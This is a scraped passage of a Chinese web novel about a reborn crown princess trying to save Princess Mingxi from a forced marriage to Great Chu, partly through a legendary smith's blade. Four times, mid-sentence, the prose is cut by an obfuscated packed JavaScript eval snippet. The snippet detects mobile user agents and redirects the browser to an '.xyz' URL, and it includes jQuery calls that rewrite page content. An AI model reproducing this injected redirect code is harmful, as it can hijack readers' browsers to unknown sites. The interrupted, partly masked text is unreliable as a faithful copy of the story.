若大齐有强悍的兵器,自然不会许诺嫁公主过去。 可若是没有,那就另当别论了。 “陛下不该露怯的。” “父皇并未对外表态,这个消息是我秘密得来。让明曦嫁过去是不得已而为之的退路。” 成大事者,在做事之前,总会先想好退路。 可即便是退路,听起来也让人心生绝望。 重创大楚的,是裴行渊的亲舅舅,亦是明曦公主的亲舅舅。 陛下有意让明曦公主嫁过去,压根儿就没有考虑她的死活。 身为英明神武的君王,他理应想得到,明曦公主若是嫁到大楚,会面临什么。 可以说,在陛下心里有这个决断之后,他就已经不在乎明曦公主的死活了。 一旁,裴行渊愤懑道:“天底下怎会有这样的父亲!” 洛云舒自嘲一笑。 天底下怎么会没有这样的父亲呢? 她已经见识过一个了。 而且,昭远帝有意让明曦公主嫁过去,何尝不是在对付裴行渊? 裴行渊是太子,声望又好,昭远帝没办法对付裴行渊,就退而求其次,先解决裴行渊唯一的妹妹。 果然,天家无父子。 洛云舒只觉得齿寒。 她握住裴行渊因为愤怒而微微发抖的手,轻声道:“殿下,如今事情还没有到最糟糕的地步。” “希望不大。”裴行渊神色颓然。 据他所知,兵部最近对武器的研究并没有什么进展。 等大楚使团来临之后,一场较量就会真正开始。 大楚会拿出**锏威慑昭远帝,若昭远帝不嫁一位公主过去,那么两国之间就要再起纷争。 在那样的情况下,昭远帝会选择什么,显而易见。 “殿下,这件事先不要告诉明曦。咱们先想想办法。” “嗯。”裴行渊点了点头,却对洛云舒的话不抱什么希望。 以往,但凡是内宫发生什么事情,裴行渊总能从容应对。 但是这次不同。 这是朝堂大事,不在洛云舒擅长的范围之内。 这时候,洛云舒却陷入沉思之中。 她在想,在她上一世做鬼的时候,有没有发生过类似的事情。 如果上一世有公主前往大楚和亲,她应该会有所印象。 可她思来想去,并未想到什么。 这或许就说明,上一世并没有公主去大楚和亲。 那么,事情的转机在哪里? 洛云舒冥思苦想。 只可惜,上一世做鬼之后,她被仇恨麻痹了心智,只跟着霍少远,只顾着恨他和孙玉瑶,并没有关心其他。 果然,心里只有男人的女人,会败得很惨。 思索一整夜,洛云舒一无所获。 天刚蒙蒙亮时,裴行渊穿戴一新去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745323|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上朝。 他身着太子朝服,英武不凡,一扫昨夜的颓唐。 见洛云舒还醒着,裴行渊看向她,轻声道:“莫要忧心,我会解决。” “好。”洛云舒应着,冲裴行渊笑了一下。 裴行渊回之一笑,大步离开。 裴行渊走后,洛云舒困意袭来,略略睡了一会儿,就听见明曦公主欢快的叫声:“嫂嫂,早膳咱们吃什么啊?” 洛云舒立刻坐起身来,回应道:“昨晚就吩咐下去了,今早咱们吃虾饺。” 虾饺是明曦公主的最爱。 “真好呀,哈哈!” 先前的事情解决之后,明曦公主像是重新回到了孩童时代。 如今于她而言,吃喝就是人生大事。 一顿早膳,明曦公主吃得分外热闹。 虽然吃得多,但是她一举一动,一颦一笑都合乎规矩。 最近,她是真的认真学规矩了。 她想变好,想做更好的自己。 可命运向来喜欢开玩笑。 想到这儿,洛云舒鼻子一酸,险些落泪。 这原本是很细微的举动,明曦公主却注意到了。 她立刻放下手里的筷子,把嘴里的食物咽下,擦了擦嘴角,问道:“嫂嫂,你怎么了?是不是皇兄欺负你了?” “没事,大概是刚才走路有些急,吹到了眼睛。” 明曦公主撇嘴:“嫂嫂,我八岁就不用这样的理由了。显得很假。” “不管假还是真,这就是唯一的理由。” 看着洛云舒破罐子破摔的架势,明曦公主没忍住,笑了:“嫂嫂,你这份气度很特别。就好像虽然你戳穿了老娘,但老娘就是不改,尔等、能奈我何?” 洛云舒勉强一笑:“你这张嘴啊,还真是不饶人。” “嫂嫂放心,等皇兄回来,我定要给你讨一个公道。” “明曦,这件事真的和殿下无关。” “怎么会?东宫总共就我们仨,我没惹你生气,那就只能是皇兄了。” 洛云舒想了想,没错,这个推测很有道理。 罢了,就让裴行渊背这个黑锅吧。 她少不得派个人去跟裴行渊说一声,免得露了馅。 之后,洛云舒让知意拿来纸笔,把她上一世所知的事情事无巨细地写出来。 她暂时没能想到什么,就打算用笨方法,先把事情一一记录下来,再抽丝剥茧,看能不能从中找到有价值的线索。 然而,一连持续了两日,却是毫无收获。 洛云舒心力交瘁。 两日后,大楚使团抵达京城。 第120章 嫂嫂,不要担心我 这一日,裴行渊负责接待大楚使团,很早就走了。 洛云舒让知意把明曦公主请了过来,与她一起用早膳。 吃完之后,不等明曦公主说要走,洛云舒主动开口:“明曦,今日陪我逛逛园子,可好?” 明曦公主怔了怔:“好。” 东宫有一个单独的小花园,很精致。 时辰尚早,暑气还不怎么重,洛云舒和明曦公主随意逛着,逛累了就在凉亭里歇着。 宫人捧了荔枝过来,放在明曦公主面前。 明曦公主的眼睛顿时就亮了:“嫂嫂,你怎么知道我的荔枝吃完了?” 说完,不等洛云舒回答,明曦公主就亲自上手剥荔枝。 一边剥,她还一边说道:“今年岭南供奉的荔枝格外清甜,往年我就爱吃荔枝,可往年吃的加起来,也没有今年的多。都是托嫂嫂的福。” 说完,明曦公主冲着洛云舒扬起一个大大的笑脸,把剥好的荔枝肉送进了嘴里。 她微闭着双眼,一脸满足。 洛云舒莞尔一笑:“喜欢你就多吃点。不过,太医说了,荔枝一次不能多吃,不然会上火。” “嫂嫂放心,我才不怕上火呢。” 看明曦公主吃得开心,洛云舒心里却酸涩无比。 大楚使团已经到来,还不知道会兴起怎样的风波。 洛云舒忧心不已。 却在这时候,见一个面生的小太监走了过来。 “太子妃娘娘,陛下口谕,请您去勤政殿见驾。” 洛云舒立刻起身,应道:“好。本宫这就去。” 她回头看了明曦公主一眼,明曦公主冲她笑:“嫂嫂,你快去吧,我等你回来!” “好,我很快就回来。” 在明曦公主面前,洛云舒表现得很镇定。 实则,她心里莫名地发慌。 一直以来,昭远帝从未私下里召见过她。 这一次私底下召见,只怕和明曦公主有关。 果不其然,洛云舒进勤政殿行礼之后,昭远帝没有绕弯子,直接道:“明晚有欢迎大楚使臣的晚宴,届时我朝各位公主都会出席。旁人朕不担心,只有明曦让朕放心不下。” 说着,昭远帝抬眸看了洛云舒一眼,暗含威压:“明曦最近一直住在东宫,听闻是你在教养她。朕相信,在你的教养之下,明曦不会在宫宴上丢我大齐公主的脸。” 待他说完,他甚至不理会洛云舒是个什么想法,直接抬了抬手:“朕的话说完了,你回去吧。” 洛云舒低头应道:“是。” 回去之后,洛云舒让人打探一下今天昭远帝都见过谁。 很快,消息传回。 只见过她。 通过她,敲打明曦。 并未见别的公主抑或是后妃。 所以,昭远帝的心里,已经有了决断。 洛云舒坐在圈椅里,抓紧了椅子扶手。 宫宴就在明晚。 可眼下,明曦公主还不知道发生了什么。 她甚至,不知道该怎么跟明曦公主开这个口。 却又不能不说。 不然到时候明曦什么都不知道,只怕会失态。 洛云舒举棋不定。 却在这时候看到明曦公主走了进来。 她笑容明媚,仿若无忧无虑的孩童。 洛云舒心中刺痛,很心疼她。 人生的前十几年,明曦公主被崔嬷嬷蒙蔽,活得像个刺猬,通过不断地刺伤别人来获得自以为的安全。 她以为自己不是昭远帝的孩子,过得不知道有多恐慌。 好不容易崔嬷嬷的阴谋被拆穿,明曦公主也好不容易过了这些天的安稳日子,可现在,好日子才没过多久,又要被自己的亲爹算计。 一时之间,洛云舒说不清楚心里的滋味儿。 恍惚间,她似乎看见了多日之前,被逼着为霍少远殉情的自己。 她们的处境,何其相似。 女人这一生,总逃脱不了被摆布的命运。 洛云舒心思繁乱。 却在这时候被明曦公主握住双手:“嫂嫂,不要担心我。” 洛云舒如遭雷击:“你说什么?” 明曦公主扬起明媚的笑容,再次道:“嫂嫂,不要担心我。不就是和亲吗?我不怕的。” 明曦知道了! 洛云舒从椅子上弹起来,颤声道:“谁告诉你的?” 明曦公主依旧在笑:“嫂嫂,这不重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752028|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要。大概是我从前做了太多的错事,太多人看我不顺眼。以至于有了和我有关的坏消息,就会第一时间传进我的耳朵里来。不过没关系的,只是和亲而已,又不是让我去送死。” 洛云舒捏紧手指。 哪里不是送死呢? 大楚强悍好战,却被谢将军率军打败,元气大伤,听闻大楚对谢将军恨之入骨。 身为谢将军的外甥女,明曦公主嫁过去,能有什么好日子过? 内宫之中,多的是磋磨人的法子,直接**倒是利索,最怕的是生不如死。 心中即便再悲观,洛云舒依旧安慰明曦公主:“明曦,事情还没有挑明,后续会如何发展谁都不知道。你且放宽心,或许事情会有转机。” 明曦公主笑着点头,嘴唇却发白,说话的时候微微打颤:“没事的,嫂嫂。” 话音落下,明曦公主却突然抱住了洛云舒:“嫂嫂,我有些怕。” “别怕,殿下会想办法的。你是他唯一的妹妹,他不会眼睁睁看着你去和亲。你要相信他。” “可皇兄自己也很艰难啊。父皇正值壮年,皇兄却已有贤名,他忌惮皇兄。真可笑啊,做父亲的,忌惮自己的儿子……” 洛云舒一把捂住她的嘴。 隔墙有耳。 即便这是柔仪殿,也不可以掉以轻心。 这样大逆不道的话,不可说。 明曦公主眼底含泪:“嫂嫂,我不想给皇兄添乱。” “不。不是添乱。你是殿下的亲妹妹,无论他为你做什么,都是应该的。他不会弃你于不顾,我也不会。我们会一起想办法。” “嗯!”明曦公主重重点头,冲着洛云舒笑了。 笑过之后,她松开洛云舒,神情轻松:“没什么的,嫂嫂,跟你说了这些之后,我心里好受多了。好了,我要回去吃荔枝了。” 说完,不等洛云舒说什么,明曦公主提着裙子就跑了。 洛云舒心疼不已。 她坐在桌案前,继续梳理关于上一世的记忆。 可坐下来之后,一颗心总不安宁,脑海里总回想着明曦公主刚才离开时的笑容。 不好! 顷刻间,洛云舒心底狂跳,提着裙子就冲了出去! 第121章 我只是、想毁了这张脸 洛云舒顾不得什么,一路跑到明曦公主所住的偏殿,却见一个小宫女正在里面扫地。 “公主人呢?” 小宫女吓了一跳,慌忙跪地:“回太子妃娘娘的话,公主殿下说要搬回去住……” 搬回去住。 明曦公主回了永宁宫! 洛云舒立刻赶往永宁宫。 看到永宁宫的匾额,洛云舒不由得眼睛一热。 听裴行渊说,这座宫院还是先皇后在的时候选的,就连上面的匾额都是先皇后亲手所题。 永宁宫。 永宁。 先皇后是希望明曦公主的生活能够永远都过得安宁。 却不知,明曦公主过得是如此的辛苦,如今,这生活好不容易见了一点光亮,又即将被推入无尽的黑暗。 洛云舒收起心底的情绪,立刻踏入永宁宫。 迎面却遇上沈嬷嬷。 “老奴见过太子妃娘娘……” 沈嬷嬷要行礼,被洛云舒一把托住,她声音急切:“公主呢?” 沈嬷嬷面露喜色:“公主殿下说中午想吃水晶肘子,老奴这就打算去吩咐人准备。殿下最近胃口很好呢……” 更多的话,洛云舒已经来不及去听。 这些日子,一直是沈嬷嬷贴身伺候明曦公主,她这个时候把沈嬷嬷支开,很不对劲儿。 果然,永宁宫主殿殿门紧闭。 瞬间,洛云舒心头狂跳。 却在这时候,看到殿内有火光涌起。 洛云舒来不及多想,快步上前。 寒霜先她一步,推开殿门。 殿门推开的瞬间,洛云舒看到窗前的帷幔着了火,而明曦公主背对着她,正朝着火光涌起的地方走去。 “明曦,不要!” 明曦公主回头,看了洛云舒一眼,笑容凄绝:“嫂嫂放心,我不是寻死。” 说着,明曦公主拿起一本刚烧起来的书,凑近自己的脸。 一抹寒芒自寒霜的袖中飞出,击中明曦公主的手腕。 明曦公主吃痛,松了手。 与此同时,寒霜把明曦公主推向洛云舒,自己则快速动手灭火。 洛云舒一把抓住明曦公主,缓缓摇头:“明曦,别做傻事。” 明曦公主也跟着摇头:“嫂嫂,我真的不是在寻死,我只是、想毁了这张脸。” 大齐不会派一个毁了容的公主去和亲。 只要这张脸毁了,和亲的事情就不会找上她。 “不,眼下事情还没到这一步。明曦,别太悲观。” “嫂嫂,我不想给皇兄添麻烦。他已经很不易了,我不希望他因我陷入困局。” 她自然知道哥哥会想方设法搭救她,可她不愿哥哥受累。 “明曦,你有没有想过,如今殿下连你都护不住,那么这个太子之位于他而言,还有什么意趣?” 人想要登上高位,除了以施展抱负为目标之外,还想保护想要保护的人。 如果没了想要保护的人,即便有朝一日登上至尊之位,又有什么意思? 世人想要越过山丘,是因为山丘的另一侧有人等候。 若越过山丘,却发现无人等候,又该是一种何等的悲凉。 听完洛云舒的话,明曦公主怔了怔,大哭失声。 此时,火已经灭了。 沈嬷嬷没让旁人过来,正亲自处理动火的痕迹。 明曦公主纵火的消息是不能传出去的。 而洛云舒来永宁宫的时候匆匆忙忙,也需要有个说法。 没办法,宫里各处的眼睛实在是太多了。 于是,洛云舒假装和明曦公主起了争执。 如此一来,她急着到永宁宫来,就是为了和明曦公主和解。 在这样的情况下,明曦公主自然“不愿意”和洛云舒回到东宫去。 到最后,是裴行渊回来之后,亲自来请明曦公主,她这才“不情不愿”地到了东宫。 亲眼看到明曦公主踏入东宫,洛云舒才算是放了心。 之前发生的事情,裴行渊已经知晓。 他看向明曦公主:“一切听你嫂嫂的,不准胡来,也不准为我着想。记住,我是哥哥。做哥哥的,就该护着妹妹。这话是你出生之后,母后告诉我的。你不可胡来,否则,母后九泉之下也难以安宁。” 明曦公主湿了眼眶:“是,皇兄,我记下了。” 说完,裴行渊又去忙了,一直到子时才回来。 他靠在软榻上,跟洛云舒说起大楚使团的事情。 洛云舒听得很认真。 实则,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758622|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里明白,裴行渊并不是想通过她找到解决问题的法子,他只是压力太大了。 他是太子,不能表露出软弱的一面。 但是,他还可以闲聊。 漫无目的的闲聊,可以纾解内心的慌乱。 他说起大楚使团的嚣张,说起带领使团而来的大楚摄政王耶律齐,又说起大楚使团在驿馆的种种挑剔…… 裴行渊说了很多。 直到,他无意中提起了一个名字。 洛云舒原本已经有些困了,但是听到这个名字,她瞬间清醒过来:“殿下,你刚刚说谁?” 裴行渊顿了顿:“千机老人。大楚锻造新兵器的材料,是千机老人一手打造的。原先你在闺阁之中,没有听说过千机老人的名声吧?他是名扬天下的锻造大师,只可惜他神出鬼没,朝廷数次想要找到他,都一无所获。” 洛云舒陷入沉思。 如裴行渊所言,她并没有听说过千机老人的名号。 可刚才听到这四个字,她却觉得有点熟悉。 和上一世的记忆有关。 上一世,她是什么时候听说过千机老人的名号? 洛云舒微闭双眼,陷入沉思。 她在心中默念着千机老人这四个字,苦思冥想,想要回忆起是在何处听说过这个名号。 终于,她想到了! 上一世,不曾有公主和亲大楚。 那么,是发生了什么?和千机老人有关吗? 这时候,洛云舒想到了一个人——东方亮。 上一世做鬼跟着霍少远的时候,她曾听霍少远提过,他说东方亮走了狗屎运,机缘巧合之下居然救了千机老人。 千机老人为报救命之恩,亲自入兵部,打造出了一批削铁如泥的利器。 也正是因为如此,东方亮在三皇子面前的地位陡然拔高。 东方亮得势,霍少远相对而言就落于下风。 上一世,霍少远对此耿耿于怀。 想到这儿,洛云舒愁眉紧皱。 上一世,千机老人被东方亮所救,也被东方亮所用,谁曾想,这一世,他居然出现在大楚,且,帮了大楚。 就在这时候,洛云舒意识到了什么,她抓住裴行渊的手腕,确认道:“你刚刚说,千机老人也在大楚使团之中?” 第122章 你怎么在这儿? “是。千机老人潜藏在大楚使团之中,并未以本名出现。是我的人无意中探查到的。” 听完裴行渊的话,洛云舒微微摇头。 这不对。 她记得千机老人年事已高,上一世被东方亮救的时候还受了重伤,年迈加上重伤,人差点儿就没了。 几乎是倾尽太医院之力才将他救回来。 后来,他去兵部锻造兵器的时候,甚至还需要太医贴身跟随,丝毫都不敢松懈。 可现在,千机老人居然千里跋涉,从遥远的大楚而来。 这不正常。 想到这儿,洛云舒抓住裴行渊的手腕,声音急切:“殿下,劳烦你再让人查查,千机老人是不是从大楚一路而来?” “这很重要吗?” “是,很重要。” 她要确认千机老人是从大楚而来,而不是在大齐混进去的。 如果是前者,那么很有可能大楚使团中的千机老人是假的。 洛云舒一向不说妄言。 裴行渊虽不解其意,却还是很快下令,命人去查。 说完这些,两个人都累了,各自歇下。 第二日一早,洛云舒醒来的时候裴行渊已经去上早朝了,在桌案上为她留了一张字条。 纸条上面写得很清楚,确认千机老人一直在大楚使团之中,不是中途出现的,也可以确认中间没有换人。 洛云舒立刻清醒。 她一边起身一边唤寒霜进来。 待寒霜进来,洛云舒立刻吩咐:“去一趟前厅,请东方先生过来,我有话问他。” “是。” 洛云舒梳洗已毕,连早膳都没用就去了花厅。 东方先生已经候在花厅之中。 “卑职见过太子妃娘娘。” “免礼。”洛云舒坐下,看向东方先生。 和裴行渊一样,最近东方先生殚精竭虑,眼底有血丝,看起来很疲惫。 “东方先生,本宫请你过来,是想问问东方亮的近况。” 东方先生捏了捏眉心,竭力忍下心底的不耐。 为着明曦公主的事,他已经两天没睡过一个好觉了。 他原本以为,太子妃请他过来是有要紧事,没成想,竟是闲话家常,问起他的堂弟。 偏偏这位是太子妃。 东方先生在心底叹了口气,低头应道:“回娘娘的话,他如今暂居在家里的一处别院,收了心,似乎是打算著书。” “别院在何处?” 东方先生怔了怔:“在西山脚下,是家里新购置的避暑的别院。地方不大,一直是家里的长辈过去避暑。” 洛云舒点了头:“东方先生,可否请您派个人,与本宫同去别院一趟?” “娘娘这是……” 事情还未明朗,洛云舒并不挑明什么,只说道:“有点事要办。” 东方先生应了一声,留下了自己的贴身亲随,冬青。 洛云舒乔装打扮,带上人出宫而去。 有冬青一路指引着,洛云舒很快找到了东方先生家里的那处别院。 别院在西山脚下,依山傍水。 这样的地方向来是寸土寸金,东方先生因为投在裴行渊门下,身份水涨船高,才在这里购置了一处别院。 别院不大,只是一座二进的院子。 冬青指了指其中的一个房间:“那里就是三爷所住的地方。” 东方亮,在东方家族排行第三。 洛云舒点点头,吩咐道:“冬青,你进去一趟,看看东方亮房间里还有没有其他人。” 她不确定东方亮是不是已经救了千机老人。 洛云舒提前购置了礼物,让冬青带上,伪装成受东方先生之命,来探望家里的长辈。 冬青很快去而复返,确认整座别院之中没有多余的人,更没有什么老人。 洛云舒微微皱眉,看来,时机还没到。 想到这儿,她忧心不已,晚上就要开始举行宴会。 届时,大楚使团初次亮相,或许会故意彰显自己的本事,进而提出要求娶大齐公主。 一旦确认让明曦公主作为和亲人选,后面就不好更改了。 洛云舒心急如焚。 偏偏这着急又毫无用处。 无奈之下,洛云舒只能留人在这里看着,以防万一,她自己则折返回去。 此路不成,她就要想另外的法子。 然而,马车往前走了没多远,洛云舒就听寒霜在外面说道:“娘娘,旁边的树林里有呻吟声。” “去看看。” “是。”寒霜很快去了,洛云舒掀开车帘看过去。 寒霜身手敏捷,进入树林不久后停下,再回来的时候,背上多了一个鲜血淋漓的老人。 老者须发皆白,身子瘦弱,看起来奄奄一息。 并不能确认他的身份。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758623|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但既然遇上了,就不能不救。 洛云舒走出马车,将受伤的老人安置在上面。 老人的背上有一处极大的伤口,像是被猛兽啃食过,寒霜会处理外伤,很快为老人上了药。 “还有气,但气息很微弱。” 老者急需救治。 洛云舒看向西山脚下的各处别院,此处的别院大大小小,别院的主人非富即贵。 如今正值盛夏,不少人来这里避暑,或许,有人会带着大夫过来。 洛云舒打算碰碰运气。 却在这时候听到一个熟悉的声音:“云舒,你怎么在这儿?” 洛云舒看过去,面露惊喜:“清辞,你怎么在这儿?” 阮清辞在阮英杰之后跳下马车,用手扇风:“这几日太热了,我来这儿避暑。” 来不及寒暄,洛云舒直接掀开车帘,让阮清辞兄妹二人看马车上的老者:“这附近的别院之中,你们知道谁家里随行的有大夫吗?” 阮英杰善交友,认识的人很多。 “有的。您还有事吧?不如把人交给我,我会妥善救治。” “阮公子,有劳了。” “您客气了。” 晚上还有宫宴,洛云舒不能再耽搁了。 把人交给阮英杰之后,洛云舒启程回去。 见洛云舒脸色不好,寒霜开解道:“娘娘,您放宽心。或许,咱们救下的,就是千机老人呢。” 洛云舒摇摇头:“没有这种可能。咱们救下的,是一位乔装的老婆婆。” 寒霜诧异:“竟、竟是一位老婆婆吗?” “是。你或许是没注意,确实是一位老婆婆。”说完,洛云舒挤出一丝笑容,“罢了,再想别的法子。” 洛云舒很快回了东宫。 这会儿,赵皇后已经命人把参加宴会的衣服送了过来。 她和明曦公主各一套。 明曦公主的是一套大红色的宫裙,很张扬的颜色。 这是生怕她不显眼。 洛云舒暗暗咬牙,说不出安慰的话。 明曦公主却像是看开了一样,笑着说道:“这衣服的颜色真喜庆。” 说完,她就欢天喜地地换上了。 单论衣服而言,的确是很适合明曦公主。 只是,这衣服实在是太显眼了。 如此想着,洛云舒打算去一趟翊坤宫,探探赵皇后的口风。 第123章 先生是觉得,本宫是在玩闹? 进了翊坤宫,洛云舒行礼之后,委婉地提起能否给明曦公主换套衣服。 赵皇后面露难色:“怕是不能。明曦的衣服是陛下定的。本宫也觉得奇怪,往日里陛下从来不会管这些小事。” 果然! 洛云舒失望而归。 她看了看天色,距离晚上的宴会只有两个时辰了。 裴行渊还在忙,并未传回什么消息,看来,没什么好消息。 重生以来,洛云舒第一次心生颓然。 就好像她眼睁睁看着一个人一步步走向火坑,却无能为力。 偏偏,走向火坑的这个人,又和她有着千丝万缕的联系。 回到柔仪殿再次看到明曦公主,洛云舒心里的颓废愈发浓重,却又不想在明曦公主面前表露出来。 她强颜欢笑。 却在这时候见寒霜进来禀报:“娘娘,阮公子求见。” “请他进来。” 洛云舒有些疑惑,不太明白阮英杰这个时候来做什么。 她简单收拾了一下,去花厅见阮英杰。 行礼之后,阮英杰看了看洛云舒左右。 洛云舒会意,让奉茶的宫女退下。 这时候,阮英杰上前一步,神情谨慎:“娘娘,那位老婆婆醒过来了,她说,她是千机老人。” 洛云舒面露疑惑:“怎么会?传闻中,千机老人不是一个男的吗?” “我也有这个疑问。但她给了我这个。”说着,阮英杰伸手入袖,取出一枚**,“她说这**可以击败大楚新锻造出来的大刀。” 然而,这**很短。 洛云舒接过**,发现**的颜色并不鲜亮,看起来很不起眼。 但是兵器并不需要外表好看。 洛云舒把**交给寒霜,让她试试。 寒霜没把这**放在眼里,径直拔出自己的佩剑,用**去试。 原以为会毫无动静,却眼睁睁看着自己佩戴了多年的宝剑顷刻间一分为二。 而**却是毫发未损! 寒霜惊呆了! 这宝剑是她十三岁时,哥哥花费重金给她买的,很是锋利。 她用了多年,一直用的很顺手,可现在,宝剑断了。 断在一把不起眼的**上。 短暂的失落之后,寒霜精神大振:“娘娘,这**是个好东西。” 洛云舒心神大震。 或许,事情的转机就在这里。 她立刻看向阮英杰:“阮公子,那位老人很重要,麻烦你一定保护好她,悉心照顾她,确保她尽快康复。另外,若需要任何药材,只管开口。” “娘娘放心,在下定会竭尽全力。” 送走阮英杰,洛云舒去前殿寻裴行渊。 他不在。 东方先生脸上疲态尽显:“娘娘,殿下去兵部了。” “兵部有什么好消息吗?” “暂时还没有。但殿下不死心。” 洛云舒点点头,把**交给东方先生,神色郑重:“东方先生,请你以最快的速度把这把**交到殿下手里。” 东方先生低头看了看,这**平平无奇。 他有些焦躁:“娘娘,殿下如今正忙着。” 这话,可以说是很不客气了。 洛云舒凝眸看他,眼底寒光乍现:“先生是觉得,本宫是在玩闹?” “微臣不敢。” 嘴里说着不敢,可身体却没有丝毫的恭谨之态。 洛云舒手握**,走到桌案前,朝着桌案的一角狠狠挥下! 见状,东方先生心底的轻蔑更重了些。 这桌案是用上好的紫檀木所制。 而紫檀木最是坚硬,太子妃这一下,只怕连在桌案上留个痕迹都做不到。 然而,在他的眼前,桌案的一角瞬间被削下,断掉的一角朝着他的膝盖飞了过来。 顷刻间,东方先生呆在那里! 回过神来之后,他跪地捡起那桌案的一角,不由得瞪大了双眼。 据他所知,太子妃不会武。 不会武的人,却能削掉桌子的一角,足以说明太子妃手里这把**非同寻常。 东方先生立刻跪向洛云舒:“娘娘,是微臣错了!” 洛云舒居高临下,冷眼看他:“待此事了了,本宫要你从这里跪行到柔仪殿,磕头认错!” 东方先生是裴行渊身边的第一谋士,让他臣服,以后她办事会很方便。 不然,她提出什么都要遭受质疑,她还需要花费时间解释,这样会很烦。紧急的时候还会误事。 所以,她要立威。 听完洛云舒的话,东方先生一怔,身子狠狠地伏了下去:“自当如此。” 洛云舒这才把**交给了他,叮嘱道:“速去交给太子殿下。” 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二人在一起梳妆,穿戴一新,妆容精致,一个是华贵端方的太子妃,一个是明艳娇俏的当朝公主。 洛云舒看向明曦公主,轻声笑道:“就当这是一次考核,考考你的规矩学的如何。” “好。”明曦公主欣然应允。 二人并肩前往举行宴会的荣华殿。 荣华殿极大,里面的装饰华贵无比,向来是招待外国使臣的绝佳之地。 因为招待的是外国使臣,所以来的多是朝中重臣。 至于女眷,只有赵皇后、洛云舒和各位公主。 后妃是没资格参加这样的宴会的。 这些女眷今日出席宴会,是因为大楚来了一位郡主,要从旁陪伴,不好让大楚的郡主一人独坐在一群男人之中。 自然,女眷出席,和男宾的席位要用屏风隔开,恪守最基本的礼节。 洛云舒和明曦公主过去的时候,其余的各位公主已经在了,唯有赵皇后还没来。 明曦公主一过来,昭阳公主就走了过来。 她面带笑意,神情却是不屑的:“裴明曦,你穿的这么喜庆,是打算今个儿就成亲吗?” 第124章 娘娘,殿下让您放心 明曦公主微微一笑,视线落在昭阳公主身上的白色锦裙上:“照你这么说,你穿的这么白,今天是打算哭丧?” 说完,见昭阳公主变了脸色,明曦公主顿觉神清气爽。 这和往日无差别怼人的感觉截然不同。 现在,她在守规矩的范围内怼人,有理有据,谁都挑不了她的错。 她们是同辈,而且是昭阳公主挑衅在先,即便她回击也没什么大不了的。 昭阳公主却怒了:“裴明曦,听说你这阵子一直在东宫学规矩,现在看来,你这位太子妃嫂嫂压根儿就没想好好教你!” 她这是在挑拨离间。 若是放在往日,明曦公主定会发疯。 但现在,她注视着昭阳公主,脸上笑意不减:“不是哦。你是来找骂的,反击你,不算不守规矩。” “堂堂一国公主,这就是你的谈吐?” “本公主的谈吐,取决于面对的是什么货色。” 昭阳公主大怒。 正无计可施的时候,她瞧见赵皇后引着一个面生的女子进来,不由得计上心头。 有外人在,告状自然是不能告的,会让外人看笑话的。 但,可以让明曦公主出丑。 如此想着,昭阳公主凑近,以极低且极快的声音说道:“裴明曦,你还不知道吧,父皇要把你嫁到大楚去了。” 说完,昭阳公主立刻转身,返回自己的位置。 转身的瞬间,她已经笑了出来。 她等着看裴明曦发疯。 在大楚郡主面前发疯,裴明曦别想有好果子吃。 然而,直到昭阳公主在自己的位置上坐下,明曦公主却还是什么都没做。 昭阳公主脸上的笑容僵住,她看向明曦公主,见明曦公主冲她笑了一下。 瞬间,昭阳公主脸色大变。 这时候,赵皇后已经带着大楚郡主走了进来。 她在主位上坐下,让大楚郡主坐在她的下首。 如此一来,大楚郡主的位置和洛云舒面对面。 那位大楚郡主甚至还冲着洛云舒笑了笑,她长着一张讨喜的圆脸,皮肤很白,看起来一副人畜无害的模样。 众人立刻起身行礼。 “儿臣见过母后。” 赵皇后抬起手,微微往下压了压:“免礼。” 说完,她伸手指向大楚郡主:“这位是大楚的柔安郡主。” 柔安郡主起身,竟是依着大齐的习俗,行了个万福礼:“柔安初来乍到,叨扰了。” “郡主客气了,快请坐,千万别拘谨。” 待赵皇后话音落下,隔壁也有了动静。 为了避免撞见外男,女眷到齐之后,一屏风之隔的隔壁才开始进人。 人员是早已核定好的,没人会在这等场合出岔子。 众臣来到之后,陛下和裴行渊很快现身。 这时候,寒霜悄无声息地来到洛云舒身边,低声道:“娘娘,殿下让您放心。” 